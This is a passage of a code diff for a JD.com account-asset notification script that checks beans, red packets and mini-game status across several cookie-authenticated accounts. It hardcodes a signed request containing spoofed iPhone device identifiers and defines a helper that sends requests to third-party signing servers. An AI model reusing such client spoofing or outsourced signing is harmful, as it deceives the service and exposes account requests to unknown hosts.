ReturnMessage += `${$.levelName}Plus`; + else + ReturnMessage += `${$.levelName}会员`; + } + + if ($.JingXiang){ + if ($.levelName) { + ReturnMessage +=","; + } + ReturnMessage += `${$.JingXiang}`; + } + ReturnMessage +=`\n`; + } + if (llShowMonth) { + ReturnMessageMonth = ReturnMessage; + ReturnMessageMonth += `\n【上月收入】:${$.allincomeBean}京豆 🐶\n`; + ReturnMessageMonth += `【上月支出】:${$.allexpenseBean}京豆 🐶\n`; + + console.log(ReturnMessageMonth); + + if (userIndex2 != -1) { + allMessageMonthGp2 += ReturnMessageMonth + `\n`; + } + if (userIndex3 != -1) { + allMessageMonthGp3 += ReturnMessageMonth + `\n`; + } + if (userIndex4 != -1) { + allMessageMonthGp4 += ReturnMessageMonth + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessageMonth += ReturnMessageMonth + `\n`; + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher("京东月资产变动", `${ReturnMessageMonth}`, `${$.UserName}`); + } + + } + + ReturnMessage += `【今日京豆】收${$.todayIncomeBean}豆`; + strsummary+= `【今日京豆】收${$.todayIncomeBean}豆`; + if ($.todayOutcomeBean != 0) { + ReturnMessage += `,支${$.todayOutcomeBean}豆`; + strsummary += `,支${$.todayOutcomeBean}豆`; + } + ReturnMessage += `\n`; + strsummary+= `\n`; + ReturnMessage += `【昨日京豆】收${$.incomeBean}豆`; + + if ($.expenseBean != 0) { + ReturnMessage += `,支${$.expenseBean}豆`; + } + ReturnMessage += `\n`; + + if ($.beanCount){ + ReturnMessage += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + strsummary+= `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + } else { + if($.levelName || $.JingXiang) + ReturnMessage += `【当前京豆】获取失败,接口返回空数据\n`; + else{ + ReturnMessage += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + strsummary += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + } + } + + if (EnableJxBeans) { + ReturnMessage += `【今日喜豆】收${$.todayinJxBean}豆`; + if ($.todayOutJxBean != 0) { + ReturnMessage += `,支${$.todayOutJxBean}豆`; + } + ReturnMessage += `\n`; + ReturnMessage += `【昨日喜豆】收${$.inJxBean}豆`; + if ($.OutJxBean != 0) { + ReturnMessage += `,支${$.OutJxBean}豆`; + } + ReturnMessage += `\n`; + ReturnMessage += `【当前喜豆】${$.xibeanCount}喜豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + strsummary += `【当前喜豆】${$.xibeanCount}豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + } + + + if ($.JDEggcnt) { + ReturnMessage += `【京喜牧场】${$.JDEggcnt}枚鸡蛋\n`; + } + if ($.JDtotalcash) { + ReturnMessage += `【极速金币】${$.JDtotalcash}币(≈${($.JDtotalcash / 10000).toFixed(2)}元)\n`; + } + if ($.JdzzNum) { + ReturnMessage += `【京东赚赚】${$.JdzzNum}币(≈${($.JdzzNum / 10000).toFixed(2)}元)\n`; + } + if ($.JdMsScore != 0) { + ReturnMessage += `【京东秒杀】${$.JdMsScore}币(≈${($.JdMsScore / 1000).toFixed(2)}元)\n`; + } + + if ($.joylevel || $.jdCash || $.JoyRunningAmount) { + ReturnMessage += `【其他信息】`; + if ($.joylevel) { + ReturnMessage += `汪汪:${$.joylevel}级`; + } + if ($.jdCash) { + if ($.joylevel) { + ReturnMessage += ","; + } + ReturnMessage += `领现金:${$.jdCash}元`; + } + if ($.JoyRunningAmount) { + if ($.joylevel || $.jdCash) { + ReturnMessage += ","; + } + ReturnMessage += `汪汪赛跑:${$.JoyRunningAmount}元`; + } + + ReturnMessage += `\n`; + + } + + if ($.JdFarmProdName != "") { + if ($.JdtreeEnergy != 0) { + if ($.treeState === 2 || $.treeState === 3) { + ReturnMessage += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + TempBaipiao += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + } else { + if ($.JdwaterD != 'Infinity' && $.JdwaterD != '-Infinity') { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%,${$.JdwaterD}天)\n`; + } else { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%)\n`; + + } + } + } else { + if ($.treeState === 0) { + TempBaipiao += `【东东农场】水果领取后未重新种植!\n`; + + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + + } else if ($.treeState === 1) { + ReturnMessage += `【东东农场】${$.JdFarmProdName}种植中...\n`; + } else { + TempBaipiao += `【东东农场】状态异常!\n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + //ReturnMessage += `【东东农场】${$.JdFarmProdName}状态异常${$.treeState}...\n`; + } + } + } + if ($.jxFactoryInfo) { + ReturnMessage += `【京喜工厂】${$.jxFactoryInfo}\n` + } + if ($.ddFactoryInfo) { + ReturnMessage += `【东东工厂】${$.ddFactoryInfo}\n` + } + if ($.DdFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + TempBaipiao += `【东东工厂】${$.ddFactoryInfo} 可以兑换了!\n`; + } + if ($.jxFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + + TempBaipiao += `【京喜工厂】${$.jxFactoryReceive} 可以兑换了!\n`; + + } + + if ($.PigPet) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + + TempBaipiao += `【金融养猪】${$.PigPet} 可以兑换了!\n`; + + } + if(EnableJDPet){ + llPetError=false; + var response =""; + response = await PetRequest('energyCollect'); + if(llPetError) + response = await PetRequest('energyCollect'); + + llPetError=false; + var initPetTownRes = ""; + initPetTownRes = await PetRequest('initPetTown'); + if(llPetError) + initPetTownRes = await PetRequest('initPetTown'); + + if(!llPetError && initPetTownRes){ + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + ReturnMessage += `【东东萌宠】活动未开启!\n`; + } else if ($.petInfo.petStatus === 5) { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + TempBaipiao += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + } else if ($.petInfo.petStatus === 6) { + TempBaipiao += `【东东萌宠】未选择物品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + } else if (response.resultCode === '0') { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}`; + ReturnMessage += `(${(response.result.medalPercent).toFixed(0)}%,${response.result.medalNum}/${response.result.medalNum+response.result.needCollectMedalNum}块)\n`; + } else if (!$.petInfo.goodsInfo) { + ReturnMessage += `【东东萌宠】暂未选购新的商品!\n`; + TempBaipiao += `【东东萌宠】暂未选购新的商品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + + } + } + } + } + + if(strGuoqi){ + ReturnMessage += `💸💸💸临期京豆明细💸💸💸\n`; + ReturnMessage += `${strGuoqi}`; + } + ReturnMessage += `🧧🧧🧧红包明细🧧🧧🧧\n`; + ReturnMessage += `${$.message}`; + strsummary +=`${$.message}`; + + if($.YunFeiQuan){ + var strTempYF="【免运费券】"+$.YunFeiQuan+"张"; + if($.YunFeiQuanEndTime) + strTempYF+="(有效期至"+$.YunFeiQuanEndTime+")"; + strTempYF+="\n"; + ReturnMessage +=strTempYF + strsummary +=strTempYF; + } + if($.YunFeiQuan2){ + var strTempYF2="【免运费券】"+$.YunFeiQuan2+"张"; + if($.YunFeiQuanEndTime2) + strTempYF+="(有效期至"+$.YunFeiQuanEndTime2+")"; + strTempYF2+="\n"; + ReturnMessage +=strTempYF2 + strsummary +=strTempYF2; + } + + if (userIndex2 != -1) { + allMessageGp2 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex3 != -1) { + allMessageGp3 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex4 != -1) { + allMessageGp4 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessage += ReturnMessageTitle+ReturnMessage + `\n`; + } + + console.log(`${ReturnMessageTitle+ReturnMessage}`); + + if ($.isNode() && WP_APP_TOKEN_ONE) { + var strTitle="京东资产变动"; + ReturnMessage=`【账号名称】${$.nickName || $.UserName}\n`+ReturnMessage; + + if (TempBaipiao) { + strsummary=strSubNotify+TempBaipiao +strsummary; + TempBaipiao = `【⏰商品白嫖活动提醒⏰】\n` + TempBaipiao; + ReturnMessage = TempBaipiao + `\n` + ReturnMessage; + } else { + strsummary = strSubNotify + strsummary; + } + + ReturnMessage += RemainMessage; + + if(strAllNotify) + ReturnMessage=strAllNotify+`\n`+ReturnMessage; + + await notify.sendNotifybyWxPucher(strTitle, `${ReturnMessage}`, `${$.UserName}`,'\n\n本通知 By ccwav Mod',strsummary); + } + + //$.msg($.name, '', ReturnMessage , {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); +} +async function bean() { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, + t = 0, + yesterdayArr = [], + todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + await $.wait(1000); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutcomeBean += Number(item.amount); + } + } + $.todayOutcomeBean = -$.todayOutcomeBean; + $.expenseBean = -$.expenseBean; + + decExBean =0; + if (EnableOverBean) { + await queryexpirejingdou(); //过期京豆 + if (decExBean && doExJxBeans == "true") { + var jxbeans = await exchangejxbeans(decExBean); + if (jxbeans) { + $.beanChangeXi = decExBean; + console.log(`已为您将` + decExBean + `临期京豆转换成喜豆!`); + strGuoqi += `已为您将` + decExBean + `临期京豆转换成喜豆!\n`; + } + } + } + await redPacket(); + if (EnableChaQuan) + await getCoupon(); +} + +async function Monthbean() { + let time = new Date(); + let year = time.getFullYear(); + let month = parseInt(time.getMonth()); //取上个月 + if (month == 0) { + //一月份,取去年12月,所以月份=12,年份减1 + month = 12; + year -= 1; + } + + //开始时间 时间戳 + let start = new Date(year + "-" + month + "-01 00:00:00").getTime(); + console.log(`计算月京豆起始日期:` + GetDateTime(new Date(year + "-" + month + "-01 00:00:00"))); + + //结束时间 时间戳 + if (month == 12) { + //取去年12月,进1个月,所以月份=1,年份加1 + month = 1; + year += 1; + } + let end = new Date(year + "-" + (month + 1) + "-01 00:00:00").getTime(); + console.log(`计算月京豆结束日期:` + GetDateTime(new Date(year + "-" + (month + 1) + "-01 00:00:00"))); + + let allpage = 1, + allt = 0, + allyesterdayArr = []; + do { + let response = await getJingBeanBalanceDetail(allpage); + await $.wait(1000); + // console.log(`第${allpage}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + allpage++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (start <= new Date(date).getTime() && new Date(date).getTime() < end) { + //日期区间内的京豆记录 + allyesterdayArr.push(item); + } else if (start > new Date(date).getTime()) { + //前天的 + allt = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + allt = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + allt = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + allt = 1; + } + } while (allt === 0); + + for (let item of allyesterdayArr) { + if (Number(item.amount) > 0) { + $.allincomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.allexpenseBean += Number(item.amount); + } + } + +} + +async function jdJxMCinfo(){ + if (EnableJxMC) { + llgeterror = false; + await requestAlgo(); + if (llgeterror) { + console.log(`等待10秒后再次尝试...`) + await $.wait(10 * 1000); + await requestAlgo(); + } + await JxmcGetRequest(); + } + return; +} + +async function jdCash() { + if (!EnableCash) + return; + let functionId = "cash_homePage"; + /* let body = {}; + console.log(`正在获取领现金任务签名...`); + isSignError = false; + let sign = await getSign(functionId, body); + if (isSignError) { + console.log(`领现金任务签名获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + sign =await getSign(functionId, body); + } + if (isSignError) { + console.log(`领现金任务签名获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + sign = await getSign(functionId, body); + } + if (!isSignError) { + console.log(`领现金任务签名获取成功...`) + } else { + console.log(`领现金任务签名获取失败...`) + $.jdCash = 0; + return + } */ + let sign = `body=%7B%7D&build=167968&client=apple&clientVersion=10.4.0&d_brand=apple&d_model=iPhone13%2C3&ef=1&eid=eidI25488122a6s9Uqq6qodtQx6rgQhFlHkaE1KqvCRbzRnPZgP/93P%2BzfeY8nyrCw1FMzlQ1pE4X9JdmFEYKWdd1VxutadX0iJ6xedL%2BVBrSHCeDGV1&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22CJO3CMeyDJCy%22%2C%22osVersion%22%3A%22CJUkDK%3D%3D%22%2C%22openudid%22%3A%22CJSmCWU0DNYnYtS0DtGmCJY0YJcmDwCmYJC0DNHwZNc5ZQU2DJc3Zq%3D%3D%22%2C%22area%22%3A%22CJZpCJCmC180ENcnCv80ENc1EK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1648428189%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=104&lang=zh_CN&networkType=3g&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=11&sign=98c0ea91318ef1313786d86d832f1d4d&st=1648428208392&sv=101&uemps=0-0&uts=0f31TVRjBSv7E8yLFU2g86XnPdLdKKyuazYDek9RnAdkKCbH50GbhlCSab3I2jwM04d75h5qDPiLMTl0I3dvlb3OFGnqX9NrfHUwDOpTEaxACTwWl6n//EOFSpqtKDhg%2BvlR1wAh0RSZ3J87iAf36Ce6nonmQvQAva7GoJM9Nbtdah0dgzXboUL2m5YqrJ1hWoxhCecLcrUWWbHTyAY3Rw%3D%3D` + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`jdCash API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + $.jdCash = data.data.result.totalMoney || 0; + return + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function apptaskUrl(functionId = "", body = "") { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"apple", + "clientVersion":"10.3.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Cookie: cookie, + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + $.levelName = data.data.userInfo.baseInfo.levelName; + $.isPlusVip = data.data.userInfo.isPlusVip; + + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + if ($.beanCount == 0) + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } else { + $.errorMsg = `数据异常`; + } + } else { + $.log('京东服务器返回空数据,将无法获取等级及VIP信息'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} +function TotalBean2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + timeout: 10000 + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + return; + } + const userInfo = data.user; + if (userInfo) { + if (!$.nickName) + $.nickName = userInfo.petName; + if ($.beanCount == 0) { + $.beanCount = userInfo.jingBean; + } + $.JingXiang = userInfo.uclass; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +function isLoginByX1a0He() { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + $.isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + $.error = `${$.nickName} :` + `使用X1a0He写的接口加强检测: 未知返回...\n` + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getJingBeanBalanceDetail API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryexpirejingdou API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + if (data.ret === 0) { + data['expirejingdou'].map(item => { + if(item['expireamount']!=0){ + strGuoqi+=`【${timeFormat(item['time'] * 1000)}】过期${item['expireamount']}豆\n`; + if (decExBean==0) + decExBean=item['expireamount']; + } + }) + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } 